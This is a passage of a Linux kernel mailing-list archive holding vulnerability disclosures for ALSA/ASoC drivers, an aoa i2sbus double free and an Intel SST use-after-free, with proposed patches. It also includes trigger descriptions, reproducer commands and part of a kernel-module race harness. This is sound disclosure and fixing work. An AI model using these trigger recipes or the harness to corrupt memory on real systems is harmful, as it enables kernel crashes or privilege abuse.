> list_empty(&dev->codec_list) as true, and both see dev->pcm != NULL
> (it is only cleared later, inside i2sbus_private_free(), which runs
> from within snd_pcm_free() at the tail of the first snd_device_free()).
> Both then call snd_device_free(card, dev->pcm) on the same pcm. The
> interleavings are: both enter look_for_dev() and iterate card->devices
> while the other thread list_del()s and kfree()s the same struct
> snd_device wrapper (use-after-free on the wrapper and card-device-list
> corruption), or both find the entry and run __snd_device_free() twice
> -- snd_pcm_free() executed twice, including snd_ctl_remove() of the
> chmap control and kfree(pcm) twice. Independently of the pcm, the
> same snd_device_free() racing snd_card_disconnect()'s
> snd_device_disconnect_all() walk (sound/core/device.c:208-216 -- the
> card device list has no locking at all) corrupts the list from the
> other direction. Consequence: double free / use-after-free /
> list corruption, i.e. memory corruption beyond the driver.
>
> The detailed description:
>
> * Test environment / affected version
>
> Source analysis against the mainline 7.3 release tree (unmodified);
> sound/aoa/soundbus/i2sbus/pcm.c, sound/aoa/soundbus/soundbus.h,
> sound/aoa/fabrics/layout.c and sound/aoa/core/core.c are
> byte-identical to mainline 7.3; line numbers below are from 7.3.
> No dynamic run was possible: AOA (Apple Onboard Audio,
> sound/aoa/) exists only on PowerMac hardware (macio/i2sbus/i2c),
> which our x86 QEMU environment cannot instantiate. The related
> ALSA-core mechanism (concurrent snd_device_free() vs. the unlocked
> card->devices walkers) has been demonstrated separately on 7.3 in a
> controlled collision run of another report (14 use-after-free
> reports across snd_device_disconnect_all()/snd_hwdep_dev_disconnect);
> that collision was harness-driven and is cited only as mechanism
> evidence, not as a natural-timing result.
>
> * Mechanism
>
> - Entry points and their locks:
> codec driver rmmod/unbind -> aoa_codec_unregister()
> (core/core.c:72-82) -> codec->exit = onyx_exit_codec/tas_exit_codec
> (onyx.c:966-973, tas.c:838-843) -> dev->detach_codec =
> i2sbus_detach_codec (core.c:228-229) [i2c client lock]
> i2sbus macio removal -> i2sbus_remove() (i2sbus/core.c:371-379)
> -> soundbus_remove_one() -> device_del() ->
> aoa_fabric_layout_remove() (layout.c) ->
> aoa_fabric_unlink_codec() (core.c:133-148) -> codec->exit() ->
> i2sbus_detach_codec [soundbus/macio device lock]
> fabric module rmmod -> aoa_fabric_unregister() ->
> aoa_fabric_unlink_codec() per codec, then aoa_alsa_cleanup() ->
> snd_card_free() [no i2c lock]
>
> - The unchecked sequence: i2sbus_detach_codec() does
> list_for_each_entry over dev->codec_list, list_del(&cii->list),
> then "if (list_empty(&dev->codec_list) && dev->pcm)
> snd_device_free(dev->pcm->card, dev->pcm)". dev->pcm is only
> cleared by i2sbus_private_free() (the pcm->private_free callback),
> which runs late inside the first snd_device_free() -- leaving a
> wide two-thread check-then-free window.
>
> - The double device_free: snd_device_free() looks the entry up in
> the card->devices list (look_for_dev(), sound/core/device.c:82-91,
> unlocked), list_del()s it and kfree()s the wrapper; two concurrent
> calls on the same device_data either both find it (two
> __snd_device_free() -> two snd_pcm_free() -> two kfree(pcm), plus
> a double list_del of the same node) or the second walks the list
> while the first mutates/frees it.
>
> * Trigger model
>
> Root on a PowerMac with an AOA layout that attaches two codecs to
> one i2sbus (the layout tables support MAX_CODECS_PER_BUS = 2):
> concurrent `rmmod snd-aoa-codec-onyx` and `rmmod snd-aoa-codec-tas`
> (or two concurrent i2c unbinds), or a codec rmmod racing
> `rmmod snd-aoa-soundbus` / i2sbus device removal. Consequence:
> pcm double free, card->devices list corruption and use-after-free
> on struct snd_device; the same corruption then propagates into
> snd_card_do_free()'s device walk.
>
> * Reproducer
>
> None attached -- the platform is unavailable to us and we did not
> want to hand a synthetic hammer for a driver we cannot test; the
> interleaving above is directly constructible with the module
> lifecycle commands on any PowerMac with a two-codec layout.
>
> * Suggested patch
>
> Serialize codec_list / dev->pcm with a per-driver mutex taken by
> both i2sbus_attach_codec() and i2sbus_detach_codec() (the attach
> path's list_add and pcm creation are equally unserialized), and
> claim dev->pcm before calling snd_device_free() so a concurrent
> detach can never re-enter the free. A deeper fix -- anchoring the
> pcm lifetime on its device with file-held references, like the
> suggested hwdep/rawmidi/pcm patches in the sibling reports -- would
> additionally close the open-fd window of this detach path; that core
> change is discussed in those mails and out of scope here. The
> complete patch against 7.3 follows (also kept as
> patch/0001-fw-mr07.patch); happy to rework per review.
>
> ---- patch begins ----
> ---
> --- a/sound/aoa/soundbus/i2sbus/pcm.c
> +++ b/sound/aoa/soundbus/i2sbus/pcm.c
> @@ -862,6 +862,13 @@
> struct i2sbus_dev *i2sdev = soundbus_dev_to_i2sbus_dev(dev);
> struct codec_info_item *cii;
>
> + /*
> + * codec attach/detach run from i2c driver context while bus removal
> + * runs from soundbus/macio context; the two hold different device
> + * locks, so codec_list and dev->pcm need their own serialization.
> + */
> + guard(mutex)(&i2sbus_pcm_mutex);
> +
> if (!dev->pcmname || dev->pcmid == -1) {
> printk(KERN_ERR "i2sbus: pcm name and id must be set!\n");
> return -EINVAL;
> @@ -1018,10 +1025,19 @@
> return err;
> }
>
>
>
> +static DEFINE_MUTEX(i2sbus_pcm_mutex);
> +
> void i2sbus_detach_codec(struct soundbus_dev *dev, void *data)
> {
> struct codec_info_item *cii = NULL, *i;
>
> + guard(mutex)(&i2sbus_pcm_mutex);
> list_for_each_entry(i, &dev->codec_list, list) {
> if (i->codec_data == data) {
> cii = i;
> @@ -1035,7 +1051,13 @@
> }
> /* no more codecs, but still a pcm? */
> if (list_empty(&dev->codec_list) && dev->pcm) {
> + struct snd_pcm *pcm = dev->pcm;
> + struct snd_card *card = pcm->card;
> +
> + /* claim before freeing: a concurrent detach_codec() must
> + * not re-enter snd_device_free() on the same pcm */
> + dev->pcm = NULL;
> /* the actual cleanup is done by the callback above! */
> - snd_device_free(dev->pcm->card, dev->pcm);
> - }
> -}
> + snd_device_free(card, pcm);
> + }
> +}
> ---- patch ends ----
>
>
> Please keep me in Cc; I am not subscribed to the lists.
>
> Regards,
> Hanxiang Xu
> xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread
* ASoC: intel: atom: SST: synchronize the DSP threaded IRQ against the PCM close path (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (24 preceding siblings ...)
2026-12-01 4:42 ` ALSA: aoa/i2sbus: unlocked codec_list / dev->pcm check-and-free in i2sbus_detach_codec() can double-free the pcm under concurrent codec detaches (Double free) 徐晗翔
@ 2026-12-01 12:12 ` 徐晗翔
2026-12-01 12:15 ` 徐晗翔
` (15 subsequent siblings)
41 siblings, 0 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 12:12 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
The SST PCM close path (sst_media_close() -> sst_close_pcm_stream() ->
free_stream_context()) tears down the DSP stream slot and frees the
platform-private struct sst_runtime_stream, and snd_pcm_detach_substream()
then frees the snd_pcm_runtime -- but nothing ever synchronizes the DSP
threaded IRQ handler that consumes the slot's callbacks with no lock in
common with the close path. process_fw_async_msg() gates only on
STREAM_INIT (deliberately not on STREAM_UN_INIT, which is the state
sst_free_stream() leaves behind while the slot's period_elapsed /
pcm_substream pointers are still populated), so a firmware
IPC_SST_PERIOD_ELAPSED_MRFLD that is in flight or processed while the
close path runs makes the real sst_period_elapsed() dereference the
freed runtime->private_data and spin_lock() the freed
stream->status_lock. The close path also never clears
runtime->private_data before kfree(stream).
Neither the suspend paths' synchronize_irq(ctx->irq_num) (intel_sst_
runtime_suspend/suspend, sst.c) nor the core's snd_pcm_sync_stop()
mechanism covers this: the component driver implements neither
.sync_stop nor a card->sync_irq, so both fallbacks of
snd_pcm_sync_stop() (pcm_native.c) are inert for this hardware.
Verified on mainline 7.3 with a KASAN kernel, QEMU/KVM x86_64 guest and
a harness that probes the real "sst-mfld-platform" driver through a
plain platform_device, registers a record-and-delay DSP via the
exported sst_register_dsp(), brings up the real ASoC card (real
media-cpu-dai, real sst_media_open/prepare/close, real ASoC trigger
path) and plays the role of the DSP periodic IPC by re-invoking the
captured REAL sst_period_elapsed() pointer across userspace close().
65 slab-use-after-free reports, all inside sst_period_elapsed() and its
sst_get_stream_status() spin_lock_irqsave() on the freed
stream->status_lock, with Freed = kfree <-
snd_soc_dai_shutdown(<- sst_media_close inlined) <- soc_pcm_clean <-
soc_pcm_close <- snd_pcm_release_substream; the negative control (same
sequence with the DSP-simulation thread stopped) is completely clean.
Requires Baytrail/Cherrytrail-class SST hardware plus its firmware on
production systems; the firmware sends IPC_SST_PERIOD_ELAPSED_MRFLD
once per audio period, so the in-flight probability grows with the
period rate.
The detailed description:
* Test environment / affected version
Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #1 SMP PREEMPT_DYNAMIC
-- vanilla mainline 7.3 tree, unmodified sources, KASAN enabled,
QEMU/KVM x86_64 guest, CONFIG_SND_SOC=y with
CONFIG_SND_SST_ATOM_HIFI2_PLATFORM=m. The audited files
(sound/soc/intel/atom/*) are byte-identical between the tested tree
and the report baseline; line numbers below are from 7.3.
* Mechanism
Two contexts, no common lock:
- close path (process context, pcm->open_mutex only):
snd_pcm_release_substream() -> snd_pcm_drop() -> trigger STOP ->
sst_soc_trigger() -> sst_stream_drop() -> sst_drop_stream()
(slot status = STREAM_INIT, which gates the IRQ handler),
then sst_media_close() -> sst_close_pcm_stream():
free_stream_context() -> sst_free_stream() sets
status = STREAM_UN_INIT (sst_stream.c:449) -- NOT skipped by the
IRQ gate at sst_ipc.c:272 -- and blocks on the FREE_STREAM
firmware round-trip; only after that returns does
sst_close_pcm_stream() clear the slot's pcm_substream /
period_elapsed (sst_drv_interface.c:442-444). The
"UN_INIT set, pointers not yet cleared" window therefore spans a
firmware IPC round trip (milliseconds). kfree(stream)
(sst-mfld-platform-pcm.c:360) and kfree(runtime)
(snd_pcm_detach_substream, pcm.c:1001) follow immediately.
- threaded IRQ (its own kernel thread):
intel_sst_irq_thread_mrfld() drops rx_msg_lock and calls
sst_process_reply_mrfld() -> process_fw_async_msg()
(sst_ipc.c:247): the gate at sst_ipc.c:272 only skips
STREAM_INIT, then unconditionally calls
stream->period_elapsed(stream->pcm_substream)
(sst_ipc.c:274-275) -> sst_period_elapsed()
(sst-mfld-platform-pcm.c:242) reads
substream->runtime->private_data and
sst_get_stream_status() spin_lock_irqsave()s the freed
stream->status_lock, and snd_pcm_period_elapsed() walks the
freed runtime.
The core's snd_pcm_sync_stop() infrastructure (pcm_native.c:666)
would have covered this, but both of its sources are absent here:
snd_soc_component_driver.sync_stop is not implemented by
sst_soc_platform_drv (so soc-pcm.c:3098 never wires
rtd->ops.sync_stop), and card->sync_irq stays at its -1 default
(init.c:334). The suspend paths show the authors' own intent to
synchronize (synchronize_irq at sst.c:418 and sst.c:455), the close
path simply never does.
* Trigger model
Any user with an open, RUNNING SST PCM stream (firmware sends
IPC_SST_PERIOD_ELAPSED_MRFLD once per period) calling close() on the
fd. No privileges beyond owning the fd. The race windows are
(a) the microseconds between the IRQ handler passing its status gate
and touching the platform objects, overlapped with the frees, and
(b) the millisecond-wide "UN_INIT set, pointers not yet cleared"
window inside sst_free_stream()'s firmware round trip. Consequence:
slab use-after-free reads/writes (spin_lock on freed lock word,
freed-runtime traversal in snd_pcm_period_elapsed), kernel oops /
memory corruption.
* Reproducer and results on 7.3 (also reproduced on 7.4-rc5)
sstrace.c registers the REAL "sst-mfld-platform" driver through a
plain platform_device (real probe, real component/DAI registration,
real dpcm_strm_map), registers a record-and-delay DSP via the
exported sst_register_dsp() (the snd-intel-sst-core module itself
cannot run without LPE audio hardware), brings up the real ASoC card
(snd_soc_register_card with the real media-cpu-dai), and a harness
kthread re-invokes the REAL sst_period_elapsed() pointer captured at
stream_init -- exactly the pointer the DSP slot holds -- across the
userspace close(). Every UAF site hit is genuine in-tree code
(sst_period_elapsed, sst_get_stream_status's status_lock,
snd_pcm_detach_substream). awe_test.c drives
open->hw_params->prepare->START->sleep->close cycles at 48k/2ch
(SST media DAI constraints).
# build (needs CONFIG_SND_SOC=y + the SST platform driver)
make -C <kernel-build-dir> M=$PWD modules
# guest (root):
insmod snd-soc-sst-atom-hifi2-platform.ko
insmod sstrace.ko
PCMDEV=/dev/snd/pcmC0D0p ./awe_test cycle 200 100
Results: 65 slab-use-after-free reports, all with
"in sst_period_elapsed+0x59" and the status_lock
spin_lock_irqsave/unlock_irqrestore pair, Freed = kfree <-
snd_soc_dai_shutdown <- soc_pcm_clean <- soc_pcm_close <-
snd_pcm_release_substream. Negative control (identical sequence,
DSP-simulation thread stopped before the close loop): 0 reports.
Full logs available on request; excerpts in the evidence files
referenced by the cover documentation.
* Fix
Three self-contained changes:
1. sst_close_pcm_stream(): synchronize_irq(ctx->irq_num) after the
slot teardown, before the caller frees the platform objects --
the same barrier the suspend paths already use.
2. process_fw_async_msg(): tighten the PERIOD_ELAPSED gate from
"skip STREAM_INIT" to "skip anything that is not STREAM_RUNNING"
-- a stopped or freed slot has no business firing the callback.
3. sst_media_close(): clear substream->runtime->private_data before
kfree(stream).
Happy to test any counter-proposal.
* Patch
[PATCH] ASoC: intel: atom: SST: sync the DSP threaded IRQ against the
PCM close path
The SST PCM close path frees the platform sst_runtime_stream and the
snd_pcm_runtime without any barrier against the DSP threaded IRQ
handler: process_fw_async_msg() gates the slot callbacks only on
STREAM_INIT, so messages processed while sst_free_stream() has already
switched the slot to STREAM_UN_INIT (but not yet cleared
period_elapsed/pcm_substream -- that happens only after the FREE_STREAM
firmware round trip returns) still fire sst_period_elapsed() on objects
the close path frees right under it. Neither the component's
.sync_stop nor card->sync_irq exists for this hardware, so the core's
snd_pcm_sync_stop() fallbacks are inert, and the close path never
clears runtime->private_data before kfree(stream).
Close the gap with the same barrier the suspend paths already use:
- sst_close_pcm_stream(): synchronize_irq(ctx->irq_num) after the
slot teardown;
- process_fw_async_msg(): only fire the callback for a
STREAM_RUNNING slot (covers both STREAM_INIT and the freed-slot
STREAM_UN_INIT state);
- sst_media_close(): clear substream->runtime->private_data before
kfree(stream).
Reported-by style note: found by static race auditing with dynamic
verification (KASAN, QEMU/KVM, 65/65 reports inside
sst_period_elapsed on the unpatched kernel, negative control clean).
Signed-off-by: Hangxiang Xu <xuhx@hust.edu.cn>
--- a/sound/soc/intel/atom/sst-mfld-platform-pcm.c
+++ b/sound/soc/intel/atom/sst-mfld-platform-pcm.c
@@ -357,6 +357,10 @@
if (str_id)
stream->ops->close(sst->dev, str_id);
module_put(sst->dev->driver->owner);
+ substream->runtime->private_data = NULL;
kfree(stream);
}
--- a/sound/soc/intel/atom/sst/sst_drv_interface.c
+++ b/sound/soc/intel/atom/sst/sst_drv_interface.c
@@ -443,6 +443,10 @@
stream->status = STREAM_UN_INIT;
stream->period_elapsed = NULL;
ctx->stream_cnt--;
+ synchronize_irq(ctx->irq_num);
if (retval)
dev_err(ctx->dev, "free stream returned err %d\n", retval);
--- a/sound/soc/intel/atom/sst/sst_ipc.c
+++ b/sound/soc/intel/atom/sst/sst_ipc.c
@@ -268,8 +268,10 @@
"Period elapsed rcvd for pipe id 0x%x\n",
pipe_id);
stream = &sst_drv_ctx->streams[str_id];
- /* If stream is dropped, skip processing this message*/
- if (stream->status == STREAM_INIT)
+ /* Skip anything that is not running: STREAM_INIT (dropped)
+ * and STREAM_UN_INIT (freed by the close path) both leave
+ * stale or dangling slot contents behind */
+ if (stream->status != STREAM_RUNNING)
break;
if (stream->period_elapsed)
stream->period_elapsed(stream->pcm_substream);
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* ASoC: intel: atom: SST: synchronize the DSP threaded IRQ against the PCM close path (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (25 preceding siblings ...)
2026-12-01 12:12 ` ASoC: intel: atom: SST: synchronize the DSP threaded IRQ against the PCM close path (UAF) 徐晗翔
@ 2026-12-01 12:15 ` 徐晗翔
2026-12-01 12:19 ` ASoC: intel: atom: SST: clear the compress drain callbacks on close and gate them on the stream status (UAF) 徐晗翔
` (14 subsequent siblings)
41 siblings, 0 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 12:15 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 10401 bytes --]
The SST PCM close path (sst_media_close() -> sst_close_pcm_stream() ->
free_stream_context()) tears down the DSP stream slot and frees the
platform-private struct sst_runtime_stream, and snd_pcm_detach_substream()
then frees the snd_pcm_runtime -- but nothing ever synchronizes the DSP
threaded IRQ handler that consumes the slot's callbacks with no lock in
common with the close path. process_fw_async_msg() gates only on
STREAM_INIT (deliberately not on STREAM_UN_INIT, which is the state
sst_free_stream() leaves behind while the slot's period_elapsed /
pcm_substream pointers are still populated), so a firmware
IPC_SST_PERIOD_ELAPSED_MRFLD that is in flight or processed while the
close path runs makes the real sst_period_elapsed() dereference the
freed runtime->private_data and spin_lock() the freed
stream->status_lock. The close path also never clears
runtime->private_data before kfree(stream).
Neither the suspend paths' synchronize_irq(ctx->irq_num) (intel_sst_
runtime_suspend/suspend, sst.c) nor the core's snd_pcm_sync_stop()
mechanism covers this: the component driver implements neither
.sync_stop nor a card->sync_irq, so both fallbacks of
snd_pcm_sync_stop() (pcm_native.c) are inert for this hardware.
Verified on mainline 7.3 with a KASAN kernel, QEMU/KVM x86_64 guest and
a harness that probes the real "sst-mfld-platform" driver through a
plain platform_device, registers a record-and-delay DSP via the
exported sst_register_dsp(), brings up the real ASoC card (real
media-cpu-dai, real sst_media_open/prepare/close, real ASoC trigger
path) and plays the role of the DSP periodic IPC by re-invoking the
captured REAL sst_period_elapsed() pointer across userspace close().
65 slab-use-after-free reports, all inside sst_period_elapsed() and its
sst_get_stream_status() spin_lock_irqsave() on the freed
stream->status_lock, with Freed = kfree <-
snd_soc_dai_shutdown(<- sst_media_close inlined) <- soc_pcm_clean <-
soc_pcm_close <- snd_pcm_release_substream; the negative control (same
sequence with the DSP-simulation thread stopped) is completely clean.
Requires Baytrail/Cherrytrail-class SST hardware plus its firmware on
production systems; the firmware sends IPC_SST_PERIOD_ELAPSED_MRFLD
once per audio period, so the in-flight probability grows with the
period rate.
The detailed description:
* Test environment / affected version
Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #1 SMP PREEMPT_DYNAMIC
-- vanilla mainline 7.3 tree, unmodified sources, KASAN enabled,
QEMU/KVM x86_64 guest, CONFIG_SND_SOC=y with
CONFIG_SND_SST_ATOM_HIFI2_PLATFORM=m. The audited files
(sound/soc/intel/atom/*) are byte-identical between the tested tree
and the report baseline; line numbers below are from 7.3.
* Mechanism
Two contexts, no common lock:
- close path (process context, pcm->open_mutex only):
snd_pcm_release_substream() -> snd_pcm_drop() -> trigger STOP ->
sst_soc_trigger() -> sst_stream_drop() -> sst_drop_stream()
(slot status = STREAM_INIT, which gates the IRQ handler),
then sst_media_close() -> sst_close_pcm_stream():
free_stream_context() -> sst_free_stream() sets
status = STREAM_UN_INIT (sst_stream.c:449) -- NOT skipped by the
IRQ gate at sst_ipc.c:272 -- and blocks on the FREE_STREAM
firmware round-trip; only after that returns does
sst_close_pcm_stream() clear the slot's pcm_substream /
period_elapsed (sst_drv_interface.c:442-444). The
"UN_INIT set, pointers not yet cleared" window therefore spans a
firmware IPC round trip (milliseconds). kfree(stream)
(sst-mfld-platform-pcm.c:360) and kfree(runtime)
(snd_pcm_detach_substream, pcm.c:1001) follow immediately.
- threaded IRQ (its own kernel thread):
intel_sst_irq_thread_mrfld() drops rx_msg_lock and calls
sst_process_reply_mrfld() -> process_fw_async_msg()
(sst_ipc.c:247): the gate at sst_ipc.c:272 only skips
STREAM_INIT, then unconditionally calls
stream->period_elapsed(stream->pcm_substream)
(sst_ipc.c:274-275) -> sst_period_elapsed()
(sst-mfld-platform-pcm.c:242) reads
substream->runtime->private_data and
sst_get_stream_status() spin_lock_irqsave()s the freed
stream->status_lock, and snd_pcm_period_elapsed() walks the
freed runtime.
The core's snd_pcm_sync_stop() infrastructure (pcm_native.c:666)
would have covered this, but both of its sources are absent here:
snd_soc_component_driver.sync_stop is not implemented by
sst_soc_platform_drv (so soc-pcm.c:3098 never wires
rtd->ops.sync_stop), and card->sync_irq stays at its -1 default
(init.c:334). The suspend paths show the authors' own intent to
synchronize (synchronize_irq at sst.c:418 and sst.c:455), the close
path simply never does.
* Trigger model
Any user with an open, RUNNING SST PCM stream (firmware sends
IPC_SST_PERIOD_ELAPSED_MRFLD once per period) calling close() on the
fd. No privileges beyond owning the fd. The race windows are
(a) the microseconds between the IRQ handler passing its status gate
and touching the platform objects, overlapped with the frees, and
(b) the millisecond-wide "UN_INIT set, pointers not yet cleared"
window inside sst_free_stream()'s firmware round trip. Consequence:
slab use-after-free reads/writes (spin_lock on freed lock word,
freed-runtime traversal in snd_pcm_period_elapsed), kernel oops /
memory corruption.
* Reproducer and results on 7.3 (also reproduced on 7.4-rc5)
sstrace.c registers the REAL "sst-mfld-platform" driver through a
plain platform_device (real probe, real component/DAI registration,
real dpcm_strm_map), registers a record-and-delay DSP via the
exported sst_register_dsp() (the snd-intel-sst-core module itself
cannot run without LPE audio hardware), brings up the real ASoC card
(snd_soc_register_card with the real media-cpu-dai), and a harness
kthread re-invokes the REAL sst_period_elapsed() pointer captured at
stream_init -- exactly the pointer the DSP slot holds -- across the
userspace close(). Every UAF site hit is genuine in-tree code
(sst_period_elapsed, sst_get_stream_status's status_lock,
snd_pcm_detach_substream). awe_test.c drives
open->hw_params->prepare->START->sleep->close cycles at 48k/2ch
(SST media DAI constraints).
# build (needs CONFIG_SND_SOC=y + the SST platform driver)
make -C <kernel-build-dir> M=$PWD modules
# guest (root):
insmod snd-soc-sst-atom-hifi2-platform.ko
insmod sstrace.ko
PCMDEV=/dev/snd/pcmC0D0p ./awe_test cycle 200 100
Results: 65 slab-use-after-free reports, all with
"in sst_period_elapsed+0x59" and the status_lock
spin_lock_irqsave/unlock_irqrestore pair, Freed = kfree <-
snd_soc_dai_shutdown <- soc_pcm_clean <- soc_pcm_close <-
snd_pcm_release_substream. Negative control (identical sequence,
DSP-simulation thread stopped before the close loop): 0 reports.
Full logs available on request; excerpts in the evidence files
referenced by the cover documentation.
* Fix
Three self-contained changes:
1. sst_close_pcm_stream(): synchronize_irq(ctx->irq_num) after the
slot teardown, before the caller frees the platform objects --
the same barrier the suspend paths already use.
2. process_fw_async_msg(): tighten the PERIOD_ELAPSED gate from
"skip STREAM_INIT" to "skip anything that is not STREAM_RUNNING"
-- a stopped or freed slot has no business firing the callback.
3. sst_media_close(): clear substream->runtime->private_data before
kfree(stream).
Happy to test any counter-proposal.
* Patch
[PATCH] ASoC: intel: atom: SST: sync the DSP threaded IRQ against the
PCM close path
The SST PCM close path frees the platform sst_runtime_stream and the
snd_pcm_runtime without any barrier against the DSP threaded IRQ
handler: process_fw_async_msg() gates the slot callbacks only on
STREAM_INIT, so messages processed while sst_free_stream() has already
switched the slot to STREAM_UN_INIT (but not yet cleared
period_elapsed/pcm_substream -- that happens only after the FREE_STREAM
firmware round trip returns) still fire sst_period_elapsed() on objects
the close path frees right under it. Neither the component's
.sync_stop nor card->sync_irq exists for this hardware, so the core's
snd_pcm_sync_stop() fallbacks are inert, and the close path never
clears runtime->private_data before kfree(stream).
Close the gap with the same barrier the suspend paths already use:
- sst_close_pcm_stream(): synchronize_irq(ctx->irq_num) after the
slot teardown;
- process_fw_async_msg(): only fire the callback for a
STREAM_RUNNING slot (covers both STREAM_INIT and the freed-slot
STREAM_UN_INIT state);
- sst_media_close(): clear substream->runtime->private_data before
kfree(stream).
Reported-by style note: found by static race auditing with dynamic
verification (KASAN, QEMU/KVM, 65/65 reports inside
sst_period_elapsed on the unpatched kernel, negative control clean).
Signed-off-by: Hangxiang Xu <xuhx@hust.edu.cn>
--- a/sound/soc/intel/atom/sst-mfld-platform-pcm.c
+++ b/sound/soc/intel/atom/sst-mfld-platform-pcm.c
@@ -357,6 +357,10 @@
if (str_id)
stream->ops->close(sst->dev, str_id);
module_put(sst->dev->driver->owner);
+ substream->runtime->private_data = NULL;
kfree(stream);
}
--- a/sound/soc/intel/atom/sst/sst_drv_interface.c
+++ b/sound/soc/intel/atom/sst/sst_drv_interface.c
@@ -443,6 +443,10 @@
stream->status = STREAM_UN_INIT;
stream->period_elapsed = NULL;
ctx->stream_cnt--;
+ synchronize_irq(ctx->irq_num);
if (retval)
dev_err(ctx->dev, "free stream returned err %d\n", retval);
--- a/sound/soc/intel/atom/sst/sst_ipc.c
+++ b/sound/soc/intel/atom/sst/sst_ipc.c
@@ -268,8 +268,10 @@
"Period elapsed rcvd for pipe id 0x%x\n",
pipe_id);
stream = &sst_drv_ctx->streams[str_id];
- /* If stream is dropped, skip processing this message*/
- if (stream->status == STREAM_INIT)
+ /* Skip anything that is not running: STREAM_INIT (dropped)
+ * and STREAM_UN_INIT (freed by the close path) both leave
+ * stale or dangling slot contents behind */
+ if (stream->status != STREAM_RUNNING)
break;
if (stream->period_elapsed)
stream->period_elapsed(stream->pcm_substream);
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: sstrace.c --]
[-- Type: text/plain, Size: 14917 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* sstrace.c - dynamic verification harness for SOC-MR-01 / SOC-MR-02
* (docs/manual-review-sound-soc-2026-11-26.md).
*
* SOC-MR-01: the SST PCM close path (sst_media_close ->
* sst_close_pcm_stream -> kfree(stream), then
* snd_pcm_detach_substream -> kfree(runtime)) never
* synchronizes the DSP threaded IRQ; the IRQ-side
* sst_period_elapsed() keeps dereferencing
* runtime->private_data and spin_lock()'ing
* stream->status_lock on freed memory.
* SOC-MR-02: sst_cdev_close() never clears drain_notify /
* drain_cb_param / pipe_id, and nothing syncs the IRQ,
* so sst_drain_notify(cstream) -> snd_compr_drain_notify()
* writes cstream->runtime->state after kfree(data).
*
* Fidelity model (same methodology as mcrsim/synthrace/nmi_race):
* - the REAL platform driver "sst-mfld-platform" is probed via a
* plain platform_device (its probe registers the real component +
* DAIs, real dpcm_strm_map, real sst_media_open/close/prepare/
* trigger code, real sst_period_elapsed, real
* sst_platform_compr_* code);
* - the DSP side (snd-intel-sst-core) does not exist in QEMU, so the
* harness registers a FAKE sst_device via the EXPORTED
* sst_register_dsp() whose ops record-and-delay: stream_init
* captures the REAL sst_period_elapsed pointer and the REAL
* substream arg exactly as the DSP slot would; a harness kthread
* plays the role of the DSP periodic IPC (5ms tick) and keeps
* invoking the captured REAL callbacks across close()/free().
* - the UAF sites are 100% in-tree code: sst_period_elapsed,
* sst_get_stream_status (status_lock), snd_pcm_period_elapsed,
* sst_media_close kfree, snd_pcm_detach_substream kfree(runtime),
* sst_drain_notify -> snd_compr_drain_notify.
*
* ASoC card: real snd_soc_register_card() with the REAL "media-cpu-dai"
* (PCM link) and "compress-cpu-dai" (compress link, real
* snd_soc_new_compress) against snd-soc-dummy. dma_mask is armed on the
* card platform device so the real managed-buffer allocation in
* sst_soc_pcm_new succeeds.
*
* Plans via module params:
* close_win_ms - extra delay inside the fake close op (controlled
* window; 0 = natural hammering only)
* hammer_ticks - harness kthread tick in ms (5 default)
* Actions (echo ... > /sys/module/sstrace/parameters/action):
* status - counters
* stop - stop the hammering thread
* Userspace: awe_test with PCMDEV=/dev/snd/pcmC?D0p cycles, or
* sstcompr_test for the compress device.
*/
#define pr_fmt(fmt) "SSTRACE: " fmt
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/platform_device.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/dma-mapping.h>
#include <linux/atomic.h>
#include <sound/core.h>
#include <sound/soc.h>
#include <sound/compress_driver.h>
#include "sst-mfld-platform.h"
/* ------------------------------------------------------------------ */
/* tunables */
static int close_win_ms;
module_param(close_win_ms, int, 0600);
MODULE_PARM_DESC(close_win_ms, "delay inside the fake close op (controlled window)");
static int hammer_ticks = 5;
module_param(hammer_ticks, int, 0600);
MODULE_PARM_DESC(hammer_ticks, "DSP-simulation kthread tick (ms)");
/* ------------------------------------------------------------------ */
/* capture state */
static atomic_t pcm_captured = ATOMIC_INIT(0);
static void *pcm_arg;
static void (*pcm_period_elapsed)(void *arg);
static atomic_t pcm_close_cnt = ATOMIC_INIT(0);
static atomic_t hammer_cnt = ATOMIC_INIT(0);
static atomic_t uaf_window = ATOMIC_INIT(0); /* set once close returned */
static atomic_t compr_captured = ATOMIC_INIT(0);
static void *cst_param;
static void (*cst_compr_cb)(void *param);
static void *cst_drain_param;
static void (*cst_drain_notify)(void *param);
static atomic_t compr_close_cnt = ATOMIC_INIT(0);
static struct task_struct *hammer_ts;
static struct platform_device *st_pdev_sst;
static struct platform_device *st_pdev_card;
/* ------------------------------------------------------------------ */
/* fake DSP (snd-intel-sst-core does not exist in QEMU) */
static int st_open(struct device *dev, struct snd_sst_params *sp)
{
pr_info("dsp.open: stream_type=%d id=%d -> str_id 1\n",
sp->stream_type, sp->stream_id);
return 1;
}
static int st_stream_init(struct device *dev, struct pcm_stream_info *si)
{
/* capture the REAL platform callback + REAL substream arg,
* exactly as the DSP slot would (sst_stream_init writes
* stream->pcm_substream = str_info->arg and
* stream->period_elapsed = str_info->period_elapsed) */
pcm_arg = si->arg;
pcm_period_elapsed = si->period_elapsed;
atomic_set(&pcm_captured, 1);
atomic_set(&uaf_window, 0);
pr_info("dsp.stream_init: captured period_elapsed=%px arg=%px "
"(real sst_period_elapsed will be hammered across close)\n",
pcm_period_elapsed, pcm_arg);
return 0;
}
static int st_start(struct device *dev, int str_id) { return 0; }
static int st_drop(struct device *dev, int str_id) { return 0; }
static int st_pause(struct device *dev, int str_id) { return 0; }
